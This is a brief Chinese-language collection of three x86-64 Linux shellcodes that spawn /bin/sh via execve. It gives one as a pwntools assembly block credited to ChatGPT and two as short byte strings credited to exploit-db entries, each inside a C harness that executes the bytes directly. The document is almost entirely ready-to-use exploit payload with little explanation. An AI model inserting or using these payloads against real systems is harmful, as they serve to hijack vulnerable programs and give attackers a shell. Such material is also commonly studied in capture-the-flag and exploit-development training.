1
1 2 3 4 5 6 7 8 9
| sc = asm(""" xor rsi, rsi xor rdx, rdx mov rbx, 0x68732f6e69622f push rbx mov rdi, rsp mov al, 59 syscall """)
|
来源:ChatGPT
2
24位的shellcode(来源:https://www.exploit-db.com/exploits/43550 ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
#include <stdio.h> #include <string.h> char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
int main() { printf("len:%d bytes\n", strlen(code)); (*(void(*)()) code)(); return 0; }
|
3
23位的shellcode(来源:https://www.exploit-db.com/exploits/36858 ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
|
#include <stdio.h> #include <string.h>
int main(void) { char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56" "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
printf("strlen(shellcode)=%d\n", strlen(shellcode));
((void (*)(void))shellcode)();
return 0; }
|